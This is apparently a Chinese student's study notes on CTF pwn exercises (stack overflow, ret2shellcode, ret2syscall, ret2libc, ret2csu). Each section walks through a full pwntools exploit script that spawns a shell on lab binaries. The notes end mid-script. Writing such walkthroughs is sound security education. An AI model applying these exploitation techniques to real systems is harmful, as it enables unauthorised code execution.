因为研究生做的方向和内核相关,感觉pwn里面很多技巧都是运用内核的漏洞的,所以学习一下pwn并做一下记录。

ciscn_2019_n_1

这道题目是一道简单的栈溢出题目,先查看一下保护措施,发现开启栈不可执行保护。

image-20250514144722687

接下来到ida查看一下函数主体部分,发现函数逻辑很简单,并且存在gets函数,是个明显的栈溢出漏洞。其中v1char[44] 的缓冲区,但 gets() 可输入无限长度数据,导致栈溢出。

image-20250514144912449

虽然开启了栈不可执行保护,但是函数中本身存在cat /flag逻辑,无需在栈中执行程序,因此这里可以选择覆盖v2的值,也可以选择直接跳转到system函数执行。

这里笔者选择直接跳转执行system函数查看代码堆栈内容,可以看到堆栈中ret距离v1有0x30+8个字节,因此直接填充0x38个字符即可。

image-20250514145746072

接下来构造POC,其中system的地址查看后为0x4006BE。POC如下:

1
2
3
4
5
6
7
8
9
from pwn import *

r=remote("node5.buuoj.cn",25764)

p1=b'a'*(0x30+8)+p64(0x4006BE)

r.sendline(p1)

r.interactive()

ret2shellcode

先看一下程序基本信息,发现基本上没有开启什么保护措施,并且RWX段还表示程序中存在可读、可写、可执行的代码段。

image-20250515130444924

接下来看一下函数主体,gets危险函数,存在栈溢出。但是发现不存在system函数,那就不能直接使用现有函数,考虑我们自己写入shellcode或者是通过ROP来执行shellcode。

image-20250515130530096

这道题已经提示的很明显了,并且RWX还含有可读写执行的段,那大概率是我们自己写入shellcode。不过这里还是查看一下。在gdb中使用vmmap查看段的权限。

image-20250515142803027

此处vmmap只给我们提供了3类信息(可以根据颜色判断):CODE、RODATA以及STACK。乍一看这题好像可以将shellcode注入至stack中,但绝大多数的操作系统都默认开启ASLR保护,这大大提高了攻击栈的难度。因此,栈应当是我们最后考虑的对象。

随后我们看到有个buf2的变量没有被定义,查看一下发现是个全局变量在bss段,地址为0804A080,再看一下vmmap的结果,0x804a000-0x804b000是一个可执行的段。

image-20250515143954449

那我们的思路就很清晰了,就是将shellcode写入到buf2之后再填充垃圾数据覆盖栈,最后将栈返回地址指向buf2的起始地址即可。

下面就是我们如何构造 payload 了,首先需要确定的是我们能够控制的内存的起始地址距离 main 函数的返回地址的字节数。

image-20250516094545297

可以看到该字符串是通过相对于esp的索引,所以我们需要进行调试(至于为什么之前有些题目也是esp却可以直接查看Stack of main,我也不知道,只能之后做题的时候都尽量调试一下),将断点下在 call 处,查看 esp,ebp。

image-20250516101708983

可以看到这时候的s的地址为0xffffd53c,而ebp为0xffffd5a8,计算得到s相对于ebp的偏移为6c。构造payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

r=process('./ret2shellcode')

shellcode = asm(shellcraft.sh())

buf2_addr=0x0804A080

padding=0x6c+4

p1=shellcode.ljust(padding,b'a')+p32(buf2_addr)

r.sendline(p1)

r.interactive()

shellcraft.sh()是pwntools 的Shellcraft 模块,它生成一个 spawn /bin/sh 的汇编模板。asm()函数会把 汇编模板编译成机器码bytes,也就是shellcode可以直接写入内存执行。

成功利用漏洞:

image-20250518160853607

gdb

这里我们再补充一下gdb的使用方法。

运行一般程序:gdb 文件

打断点

断点是break 命令(可以用 b 代替)常用的语法格式有以下 2 种。

1
2
(gdb) break location             # 格式1: b location
(gdb) break ... if cond # 格式2: b .. if cond

常见命令

断点调试过程中,常见的命令

命令(缩写) 功 能
run(r) 启动或者重启一个程序。
list(l) 显示带有行号的源码。
continue(c) 让暂停的程序继续运行。
next(n) 单步调试程序,即手动控制代码一行一行地执行。
step(s) 如果有调用函数,进入调用的函数内部;否则,和 next 命令的功能一样。
until(u) until location(u location) 当你厌倦了在一个循环体内单步跟踪时,单纯使用 until 命令,可以运行程序直到退出循环体。 until n 命令中,n 为某一行代码的行号,该命令会使程序运行至第 n 行代码处停止。
finish(fi) 结束当前正在执行的函数,并在跳出函数后暂停程序的执行。
return(return) 结束当前调用函数并返回指定值,到上一层函数调用处停止程序执行。
jump(j) 使程序从当前要执行的代码处,直接跳转到指定位置处继续执行后续的代码。
print(p) 打印指定变量的值。
quit(q) 退出 GDB 调试器。

运行带libc库的程序:gdb -q --args ./ld-linux-x86-64.so.2 --library-path . ./pwn

进入gdb后执行:

1
2
3
4
# 允许断点在符号尚未加载时暂存
(gdb) set breakpoint pending on
# 让 gdb 自动加载共享库的符号
(gdb) set auto-solib-add on

之后就可以正常运行了。

ret2syscall

补充系统调用知识

首先要知道一些系统调用的基础知识,不知道的建议先学学内核扩充一下知识库。随后需要知道执行命令的系统调用为execve()。32位系统中该系统调用的编号为0xb,调用号通过eax传递,其余参数传递为ebxecxedxesiedi

64位系统的系统调用号为0x3b,rax传递,其余参数传递为rdirsirdxr10r8r9

且ret返回的函数名不同

  • 32位为int 0x80,64位为syscall ret

题目分析

接下来看看这道题目,发现该程序开启栈不可执行。

image-20250514152820279

进ida的程序主体看一下,发现没有现成的system函数,但是还是存在gets函数,说明存在栈溢出漏洞。

image-20250514153052485

随后能注意到左侧一堆函数,感觉是用了静态链接库

image-20250514153240100

用file命令查一下,果然是静态链接的程序,这也就满足了使用系统调用的条件。

image-20250514153348275

那这道题目就很明显了。随后补充一下知识点

ROP是什么,ROPgadget使用

随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。

ret2syscall,即通过ROP控制程序执行系统调用,获取 shell。也就是通过一点一点的执行汇编代码拼接成我们想要执行的程序。所谓 gadgets 就是以 ret 结尾的指令序列。

  • 例如:pop eax ; ret

这段代码的作用就是将栈顶的数据弹出给eax,然后再将栈顶的数据作为返回地址返回。

获取gadgets的方式:

  • ROPgadget --binary 文件名 --only 'pop|ret' |grep '寄存器名'
  • ROPgadget --binary 文件名 --only 'int'
  • ROPgadget --binary 文件名 --string '/bin/sh'

要使用系统调用,那就需要把系统调用号传入eax寄存器,然后需要把ecx和edx的寄存器给清空。最后就是需要去把参数/bin/sh的地址存入ebx寄存器。

怎么把参数/bin/sh写入程序中?写到哪?

写到哪

我们要尽可能写到bss段,因为在不开pie的情况下,bss段的地址是不会变的,这意味着,我们可以用IDA看一下bss段的地址然后选定一个我们写入参数的地址,然后我们exp就可以直接写上这个地址了。但是如果我们想写到栈里面,确实用gdb也可以看到写在了哪个内存单元里面,但是这个地址是会变的,把exp上写入我们刚才用gdb看到的地址。解决办法也有,那就是需要泄露程序的一个内存单元地址,然后利用偏移,来计算出我们存放/bin/sh参数的地址。但是这样多少有点麻烦,并且很多时候,我们是无法泄露程序中的地址的,因此我们选择写到bss段。

怎么写?

第一种方法

第一种方法是去搜索gadget,寻找pop [ecx]这类对地址内容操作的指令。然后我们利用如下payload可以达到将参数/bin/sh写入bss段。(并且这部分的payload需要放到返回地址处使用

1
2
payload=p32(pop_ecx_addr)+p32(bss_addr)+p32(pop_[ecx]_addr)+'/bin'
payload+=p32(pop_ecx_addr)+p32(bss_addr+4)+p32(pop_[ecx]_addr)+'/sh\x00'

首先pop_ecx_addr指的是pop ecx;ret这个指令的地址 bss_addr指的将参数写入bss段的具体地址

pop_[ecx]_addr指的是pop dword ptr [ecx];ret这个指令的地址 (这里我写[ecx]是为了方便理解,我记得实际的exp里面,不能使用方括号)(另外这里不一定要是ecx,别的寄存器也可以,这里只是举个例子)然后参数/bin就是我们的参数

至于这个bss_addr+4是上面bss_addr的地址的衔接,因为参数/bin/sh需要两个内存单元存放,因此在这里将上面的地址加4,就存到了下面的内存单元。最后的\x00是用来声明字符串的结束。

但是这样搜寻gadget的手段,是有弊端的,因为有时候程序可能恰好就没有类似于pop [ecx]这样的指令。

第二种方法

因此我们可以用第二种方法,等到可以溢出的时候,用rop,先去把返回地址处放置一个read函数,然后再把/bin/sh写入指定的地址(把该地址放在read函数第二个参数即可)然后再随便找一个连续三次pop的指令(不连续应该也是可以的,反正就要进行三次pop,将read函数的三个参数先从栈顶给弹出来)
接着再进行ret2syscall,参数传完了,剩下的只要找些gadget片段进行ret2syscall即可。如果没有read函数的话,理论来说我们是可以系统调用read函数的,但是我试了一下,当用int 0x80来系统调用read函数之后,int 0x80指令的后面不是ret指令,没有办法再去衔接后面的gadget了。不过目前还没有遇见过系统调用read函数再ret2syscall的题目。

当使用这两种方法其中的一种之后,传参完毕,如此剩下的就是去搜寻我们需要的gadget片段,最后系统调用即可。

思路

因此这道题的思路很明确了,溢出之后填充pop eax所在地址,之后弹出int 0x80到eax中,在这之后弹出pop ebx所在地址,将'/bin/sh'弹出到ebx中。按照这个逻辑将ecx和edx都赋值为0

接下来我们来找一下这些结构的地址,首先是pop eax;ret,这里第一个包含pop ebx,会打乱栈,选择第二个0x080bb196

image-20250514212217965

接下来找一下/bin/sh的地址,没有的话就只能自己构造一下。找到'/bin/sh'的地址为0x080be408

image-20250514215139448

接下来找一下pop ebx;ret,如图所示,意外发现箭头所指的地方正是我们想要赋值的所有剩余寄存器,那我们直接使用该地址0x0806eb90,将栈结构稍微修改一下即可。

image-20250514215438603

接下来看看int 0x80所在地址,找到为0x08049421

image-20250514215607789

最后我们来看看需要填充多少才能溢出:

image-20250514215830198

填充64h+4个字符可以覆盖返回地址。但是这里有坑,注意到栈中没有定义v4的起始位置,也就是说v4前面有多少数据入栈是需要调试的,并没有给出来。

使用pwngdb调试一下,gdb ret2syscall b main(在main函数下断点) r(让程序跑起来) n(单步执行) 一直走到gets函数输入字符串AAAAAAAA,看到栈结构,此时ebp为0xffffd5b8,输入的v4的地址为0xffffd54c,b8-4c=6c。

image-20250515110010964

思路理清楚之后我们来想一下成功利用的栈长什么样:

1
2
3
4
5
6
7
8
+---------------------+
| 'A' * 0x70 | ← 填充
+---------------------+
| 0xdeadbeef | ← 覆盖 EBP
+---------------------+
| pop_eax_ret | ← 覆盖返回地址
+---------------------+
| 0xb | ← ROP 参数

该有的都有了我们就可以直接来写POC了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

r=process('./rop')

pop_eax=0x080bb196
execve=0xb
int_80=0x08049421
pop_edx_ecx_ebx=0x0806eb90
bin_sh=0x080be408


p1=b'a'*(0x6c+4)+p32(pop_eax)+p32(execve)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bin_sh)+p32(int_80)

r.sendline(p1)

r.interactive()

之后来试验一下,发现能成功利用漏洞,这个题目就结束啦。

image-20250515112820755

ret2libc

PLT表和GOT表

在进行ret2libc学习之前,我们需要先了解一下PLT表与GOT表的内容。

Procedure linkage table(PLT)过程连接表,位于代码段,是一个每个条目是16字节内容的数组,使得代码能够方便的访问共享的函数或者变量

Globle offset table(GOT)全局偏移量表,位于数据段,是一个每个条目是8字节地址的数组,用来存储外部函数在内存的确切地址。当程序首次调用某个外部函数时,实际上会跳转到PLT中的对应条目,而不是直接调用目标函数。

外部函数首次调用时,控制流会经过 PLT 表,PLT 中的代码片段首先尝试通过 GOT 跳转,但此时 GOT 中尚未存储真实函数地址,因此会回退到 PLT 中的解析逻辑。PLT 会压入函数在重定位表中的索引,并跳转到动态链接器,由动态链接器负责解析该函数的真实地址,将其回填到 GOT 中。如下图所示:

一旦地址被填充,后续所有对该函数的调用都会直接通过 GOT 跳转到目标函数,无需再次解析。如下图所示可以看到此时A的GOT表已经更新,可以直接在GOT表中找到其在内存中的位置并直接调用。

例1 ret2libc1

我们还是首先查看一下一下文件开启的保护。发现开启了栈不可执行保护。

接下来我们用ida反汇编后去main函数查看一下

发现有gets这个危险函数,存在栈溢出,接下来思考如何去利用。查看string字符串后发现"/bin/sh",并得到其地址0x0804A03C,接下来寻找system函数即可。

接下来找到外部函数system的调用,得到调用地址为0x08048460

那就很简单了,直接看一下需要制造多少垃圾数据填充即可。

得出需要填充0xb8-0x4c+4个垃圾数据,需要注意的是构造的payload中system函数需要先压入return地址到栈中,随后才是system函数的参数压入栈。因此构造POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

r=process('./ret2libc1')

system_addr=0x08048460

bin_sh=0x08048720

p1=b'a'*(0xb8-0x4c+4)+p32(system_addr)+b'bbbb'+p32(bin_sh)

r.sendline(p1)

r.interactive()

可以看到利用成功:

这道题相对简单,同时提供了"/bin/sh"和system函数调用,但是大多数程序并不会有这么好的情况。

例2 ret2libc2

照例查看文件信息:

有的人看到这部分跟ret2syscall那个很像,但是其实ret2syscall需要使用ROP构造系统调用,但是这道题中并没有相应的ROP,比如我们找一下pop eax;ret:

发现找不到,其实这也就意味着ret2syscall所需要的条件更苛刻,也就是题目更简单。我们来查看一下main函数:

同样的存在gets危险函数,存在栈溢出,但是这道题并没有提供"/bin/sh":

先看看查找一下system的地址,为0x08048490

接下来就是解决"/bin/sh"字符串的问题了。这里由于"/bin/sh"需要作为一个参数传入system中,因此我们需要将"/bin/sh"注入到bss段中。我们这里先尝试这样解决,如果bss段没有全局变量再想其他办法,不过好在这题并不复杂,题目给出了buf2全局变量,地址为0x0804A080。

我们需要调用gets函数,读取一个/bin/sh放在buf2,随后将buf2当作system的参数传入。先找到gets函数,我们去plt表看,gets地址为0x08048460。

ida_7DhuPY1MxY

调用gets函数时,会将gets函数的返回地址也压入栈中,随后被压入栈的是gets函数的参数。当gets函数执行的时候,会找到esp+8的位置也就是参数的位置,当我们想要弹出参数后面的system地址的时候,就需要将参数pop出来,然后ret就会弹出下一个地址并跳转执行。这时候我们就需要找到一个pop 寄存器;ret指令,将gets函数参数pop出来。

这里我们不是构造系统调用,所以随便一个pop ret即可:

MobaXterm_JBzY9baMHR

这里因为ebp最好不要动,我们选第三个,地址为0x0804843d,这时候我们想想栈结构是怎么样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|-------------------------------|
| 低地址 |
| 'a'*112 (覆盖到返回地址) | ← 填充 ebp-0xb8 到 ebp+4
|-------------------------------|
| gets_addr (0x08048460) | ← 覆盖原始返回地址
|-------------------------------|
| pop_ebx_ret (0x0804843d) | ← gets返回后执行
|-------------------------------|
| buf2 (0x0804A080) | ← gets的参数,被之后会被pop出来
|-------------------------------|
| system_addr (0x08048490) | ← ret之后会将其弹出并执行
|-------------------------------|
| 'bbbb' (伪返回地址) | ← system的返回地址(无意义)
|-------------------------------|
| buf2 (0x0804A080) | ← system的参数(/bin/sh地址)
|-------------------------------|
| 高地址 |
|-------------------------------|

思路确定好后就是查看填充多少字符了

填充量和上一题是一样的,写POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

r=process('./ret2libc2')

pop_ebx_ret=0x0804843d

gets_addr=0x08048460

system_addr=0x08048490

buf2=0x0804A080

bin_sh="/bin/sh"

p1=b'a'*(0xb8-0x4c+4)+p32(gets_addr)+p32(pop_ebx_ret)+p32(buf2)+p32(system_addr)+b'bbbb'+p32(buf2)

r.sendline(p1)
r.sendline(bin_sh)

r.interactive()

利用成功:

pycharm64_Ll2Jtc5gkR

例3 ret2libc3

还是照常查看一下开启的保护,发现开启了堆栈不可执行保护:

image-20250729173001215

随后先逆向看一下函数的漏洞

image-20250729173523627

查看发现不存在"/bin/sh",再查看函数发现也不存在system函数,那就只能自己找了。

一般来说,所有的系统调用都可以使用plt表查看到,而且特定版本的libc库中函数的位置都是固定的,只要泄露出其中一个函数的地址就可以知道system()函数的地址,从而能入侵目标。

而之前我们提到,一个函数被调用之后会在got表中保存其在内存中的地址,于是我们就有了通过泄露got表内存来泄露函数地址的想法。这里我们泄露一下puts函数的地址即可。

接下来梳理一下思路,首先为了泄露出函数地址,我们需要调用puts函数进行程序的输出,后面填充的四个自己需要时puts函数的返回地址,我们要求puts函数执行完成后再次返回main函数的起始位置,故这个位置应当填写main函数起始位置的地址,再往后的四个字节应当填写puts函数的参数,即任意一个已经执行过的函数,这里就可以填puts的got。因此payload如下:

1
payload = b"a" * offset + puts_plt + addr_start + puts_got

这时候写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
r=process('./ret2libc3')

elf = ELF('./ret2libc3')

puts_plt = elf.plt['puts']

addr_main = elf.symbols['_start']# 获取_start函数的地址

puts_got = elf.got['puts']

libc_start_main = elf.got['__libc_start_main']# got表中指向__libc_start_main的指针

payload = b'a'*112 + p32(puts_plt) + p32(addr_main) + p32(puts_got)

r.sendlineafter('Can you find it !?',payload)

#从进程输出里接收数据,截取前 4 个字节,并把它们转成一个 32 位整数
put_addr = u32(r.recv()[0:4])

print(f'real_addr='+hex(put_addr))

这里的进程输出我们需要的是got表中指向的地址,32位操作系统中地址大小为4字节,为了防止获取到的输出内容中有其他类似于’\n’的符号,只需要取前4字节即可。查看输出可以发现两次输出不一样,这是因为开启了ASLR 保护,但是ASLR 保护也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。

image-20250827163944409

但是这里查阅libc database search发现有好几个可能的libc:

image-20250827164038898

这里笔者不想一个个试,于是笔者想到多泄露几个函数的地址可能会缩小libc可能的范围,于是修改脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
r=process('./ret2libc3')
elf = ELF('./ret2libc3')

puts_plt = elf.plt['puts']
addr_start = elf.symbols['_start']# 获取_start函数的地址
puts_got = elf.got['puts']
libc_start_main = elf.got['__libc_start_main']# got表中指向__libc_start_main的指针
printf_got = elf.got['printf']

payload = b'a'*112 + p32(puts_plt) + p32(addr_start) + p32(puts_got)
r.sendlineafter('Can you find it !?',payload)

#从进程输出里接收数据,截取前 4 个字节,并把它们转成一个 32 位整数
puts_addr = u32(r.recv()[0:4])
print(f'real_addr_puts:'+hex(puts_addr))

#再次获取,这次获取_start函数的真实地址
payload = b'a'*112 + p32(puts_plt) + p32(addr_start) + p32(libc_start_main)
r.sendline(payload)

real_addr_start = u32(r.recv()[0:4])
print(f'real_addr_start:'+hex(real_addr_start))

运行之后再次尝试果然锁定了libc:

image-20250827170822793

基地址 = 真实地址 - 偏移地址,知道偏移之后那我们就能写最终的利用脚本了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
r=process('./ret2libc3')
elf = ELF('./ret2libc3')

puts_plt = elf.plt['puts']
addr_start = elf.symbols['_start']# 获取_start函数的地址
puts_got = elf.got['puts']
libc_start_main = elf.got['__libc_start_main']# got表中指向__libc_start_main的指针
printf_got = elf.got['printf']

payload = b'a'*112 + p32(puts_plt) + p32(addr_start) + p32(puts_got)
r.sendlineafter('Can you find it !?',payload)

#从进程输出里接收数据,截取前 4 个字节,并把它们转成一个 32 位整数
puts_addr = u32(r.recv()[0:4])
print(f'real_addr_puts:'+hex(puts_addr))

#再次获取,这次获取_start函数的真实地址
payload = b'a'*112 + p32(puts_plt) + p32(addr_start) + p32(libc_start_main)
r.sendline(payload)

real_addr_start = u32(r.recv()[0:4])
print(f'real_addr_start:'+hex(real_addr_start))

#找到system函数和bin/sh之后执行利用程序,进入shell
#获取基地址
libc_start_offset = 0x1ade0
base_libc = real_addr_start - libc_start_offset
offset_system=0x41780
offset_bin_sh = 0x18e363
#计算真实地址
libc_system=base_libc+offset_system
libc_bin_sh = base_libc+offset_bin_sh

payload = b'a'*112 + p32(libc_system) + p32(addr_start) + p32(libc_bin_sh)
r.sendline(payload)
r.interactive()

利用成功:

image-20250827171715096

中级ROP

32位操作系统总的来说除了系统调用是通过寄存器传参的,其他libc库函数都是通过栈来传参的,因此还不算很棘手。但是64位操作系统的函数调用都是通过寄存器传参,库函数调用时寄存器传参的顺序为:rdirsirdxrcxr8r9。系统调用时参数传递一般为:rax传递系统调用号,其余参数传递为rdirsirdxr10r8r9

但是一般程序中很难出现每一个寄存器对应的 gadgets。这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。我们先来看一下这个函数 (当然,不同版本的这个函数有一定的区别)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
.text:00000000004005A0 ; void _libc_csu_init(void)
.text:00000000004005A0 public __libc_csu_init
.text:00000000004005A0 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:00000000004005A0
.text:00000000004005A0 var_30 = qword ptr -30h
.text:00000000004005A0 var_28 = qword ptr -28h
.text:00000000004005A0 var_20 = qword ptr -20h
.text:00000000004005A0 var_18 = qword ptr -18h
.text:00000000004005A0 var_10 = qword ptr -10h
.text:00000000004005A0 var_8 = qword ptr -8
.text:00000000004005A0
.text:00000000004005A0 ; __unwind {
.text:00000000004005A0 mov [rsp+var_28], rbp
.text:00000000004005A5 mov [rsp+var_20], r12
.text:00000000004005AA lea rbp, cs:600E24h
.text:00000000004005B1 lea r12, cs:600E24h
.text:00000000004005B8 mov [rsp+var_18], r13
.text:00000000004005BD mov [rsp+var_10], r14
.text:00000000004005C2 mov [rsp+var_8], r15
.text:00000000004005C7 mov [rsp+var_30], rbx
.text:00000000004005CC sub rsp, 38h
.text:00000000004005D0 sub rbp, r12
.text:00000000004005D3 mov r13d, edi
.text:00000000004005D6 mov r14, rsi
.text:00000000004005D9 sar rbp, 3
.text:00000000004005DD mov r15, rdx
.text:00000000004005E0 call _init_proc
.text:00000000004005E5 test rbp, rbp
.text:00000000004005E8 jz short loc_400606
.text:00000000004005EA xor ebx, ebx
.text:00000000004005EC nop dword ptr [rax+00h]
.text:00000000004005F0
.text:00000000004005F0 loc_4005F0: ; CODE XREF: __libc_csu_init+64↓j
.text:00000000004005F0 mov rdx, r15
.text:00000000004005F3 mov rsi, r14
.text:00000000004005F6 mov edi, r13d
.text:00000000004005F9 call qword ptr [r12+rbx*8]
.text:00000000004005FD add rbx, 1
.text:0000000000400601 cmp rbx, rbp
.text:0000000000400604 jnz short loc_4005F0
.text:0000000000400606
.text:0000000000400606 loc_400606: ; CODE XREF: __libc_csu_init+48↑j
.text:0000000000400606 pop rbx
.text:000000000040060B pop rbp
.text:0000000000400610 pop r12
.text:0000000000400615 pop r13
.text:000000000040061A pop r14
.text:000000000040061F pop r15
.text:0000000000400624 add rsp, 38h
.text:0000000000400628 retn
.text:0000000000400628 ; } // starts at 4005A0
.text:0000000000400628 __libc_csu_init endp

0x0000000000400606一直到结尾,我们可以利用栈溢出构造栈上数据来控制 rbx,rbp,r12,r13,r14,r15 寄存器的数据。

可以看到0x00000000004005F0到0x00000000004005F6这几段可以通过控制r15、r14、r13d来控制rdx、rsi、edi。edi也就是rdi的低32位,此时rdi的高32位寄存器值为0,因此相当于可以控制rdi。而这三个寄存器,也是 x64 函数调用中传递的前三个寄存器。

通过0x00000000004005FD到0x0000000000400604,我们可以控制 rbx 与 rbp 的之间的关系为 rbx+1 = rbp,这样我们就不会执行loc_4005F0,进而可以继续执行下面的汇编程序。这里我们可以简单的设置 rbx=0,rbp=1。

ret2csu

题目:蒸米的一步一步学 ROP 之 linux_x64 篇中 level5

image-20250828153527359

可以看出是64位程序,并且开启了NX保护,接下来查看漏洞点

image-20250828154155061

很明显的栈溢出,那么我们的栈溢出思路大概如下:

  1. 使用write()函数和 __libc_csu_init泄露write()函数的地址并使程序重新执行main函数。
  2. 查找对应libc版本,获取system函数地址
  3. 再次利用栈溢出执行 libc_csu_gadgets 向 bss 段写入 system地址以及 '/bin/sh’ 地址,并使得程序重新执行 main 函数。
  4. 再次利用栈溢出执行 libc_csu_gadgets 跳转执行 system(‘/bin/sh’) 获取 shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
from LibcSearcher import LibcSearcher

sh = process('./level5')
elf = ELF('./level5')

write_got = elf.got['write']
read_got = elf.got['read']
main_addr = elf.symbols['main']

csu_front_addr = 0x00000000004005F0
csu_end_addr = 0x0000000000400606

padding = b'a'*(0x400-0x380+8)

def csu(rbx, rbp, r12, r13, r14, r15, last):
#设置寄存器的值
payload = padding+p64(csu_end_addr)+p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += b'A' * 0x38
#执行参数传递
payload+=p64(csu_front_addr)
#由于rbx+1 = rbp,会继续执行下面的pop,也就是说再pop一遍,这时候填充一些垃圾数据即可
payload += b'a' * (0x38+6*8)
payload += p64(last)
sh.send(payload)
sleep(1)

sh.recvuntil(b'Hello, World\n')
# write(1,write_got,8)
csu(0, 1, write_got, 1, write_got, 8, main_addr)
#获取基地址
write_addr = u64(sh.recv(8))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')

#获取system的地址
system_addr = libc_base + libc.dump('system')
#
sh.recvuntil(b'Hello, World\n')
bss_base = elf.bss()
csu(0,1,read_got,0,bss_base,16, main_addr)
sh.send(p64(system_addr)+'/bin/sh\x00')

#执行
sh.recvuntil(b'Hello, World\n')
csu(0,1,bss_base,0,0,bss_base+8,main_addr)
sh.interactive()

感觉思路没问题,但是一直报错(尴尬)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[+] Starting local process './level5': pid 2098098
[*] '/opt/pwn/intermediateROP/level5'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
[*] Process './level5' stopped with exit code -11 (SIGSEGV) (pid 2098098)
Traceback (most recent call last):
File "level5.py", line 32, in <module>
write_addr = u64(sh.recv(8))
File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 106, in recv
return self._recv(numb, timeout) or b''
File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 176, in _recv
if not self.buffer and not self._fillbuffer(timeout):
File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 155, in _fillbuffer
data = self.recv_raw(self.buffer.get_fill_size())
File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/process.py", line 743, in recv_raw
raise EOFError
EOFError

之后换了个buuctf的源文件,发现这个csu正常多了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
.text:0000000000400650 ; void _libc_csu_init(void)
.text:0000000000400650 public __libc_csu_init
.text:0000000000400650 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:0000000000400650 ; __unwind {
.text:0000000000400650 push r15
.text:0000000000400652 mov r15d, edi
.text:0000000000400655 push r14
.text:0000000000400657 mov r14, rsi
.text:000000000040065A push r13
.text:000000000040065C mov r13, rdx
.text:000000000040065F push r12
.text:0000000000400661 lea r12, __frame_dummy_init_array_entry
.text:0000000000400668 push rbp
.text:0000000000400669 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000400670 push rbx
.text:0000000000400671 sub rbp, r12
.text:0000000000400674 xor ebx, ebx
.text:0000000000400676 sar rbp, 3
.text:000000000040067A sub rsp, 8
.text:000000000040067E call _init_proc
.text:0000000000400683 test rbp, rbp
.text:0000000000400686 jz short loc_4006A6
.text:0000000000400688 nop dword ptr [rax+rax+00000000h]
.text:0000000000400690
.text:0000000000400690 loc_400690: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400690 mov rdx, r13
.text:0000000000400693 mov rsi, r14
.text:0000000000400696 mov edi, r15d
.text:0000000000400699 call ds:(__frame_dummy_init_array_entry - 600840h)[r12+rbx*8]
.text:000000000040069D add rbx, 1
.text:00000000004006A1 cmp rbx, rbp
.text:00000000004006A4 jnz short loc_400690
.text:00000000004006A6
.text:00000000004006A6 loc_4006A6: ; CODE XREF: __libc_csu_init+36↑j
.text:00000000004006A6 add rsp, 8
.text:00000000004006AA pop rbx
.text:00000000004006AB pop rbp
.text:00000000004006AC pop r12
.text:00000000004006AE pop r13
.text:00000000004006B0 pop r14
.text:00000000004006B2 pop r15
.text:00000000004006B4 retn
.text:00000000004006B4 ; } // starts at 400650
.text:00000000004006B4 __libc_csu_init endp

那么思路不变,但是可以直接从pop rbx开始,省略掉add rsp了,重新写一下。由于使用system函数一直失败,在wiki中也有说明,可能是环境变量的问题,所以使用execve来获取shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
from LibcSearcher import LibcSearcher

sh = process('./level3_x64')
elf = ELF('./level3_x64')

write_got = elf.got['write']
read_got = elf.got['read']
main_addr = elf.symbols['main']

csu_front_addr = 0x0000000000400690
csu_end_addr = 0x00000000004006AA

padding = b'a'*(0x3f0-0x370+8)

def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
#设置寄存器的值
payload = padding+p64(csu_end_addr)+p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
#执行参数传递
payload+=p64(csu_front_addr)
#由于rbx+1 = rbp,会继续执行下面的pop,也就是说再pop一遍,这时候填充一些垃圾数据即可
payload += b'a' * 0x38
payload += p64(last)
sh.sendline(payload)
sleep(1)

sh.recvuntil(b'\n')
# write(1,write_got,8)
csu(0, 1, write_got, 8, write_got, 1, main_addr)
#获取基地址
write_addr = u64(sh.recv(8))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')

#获取system的地址
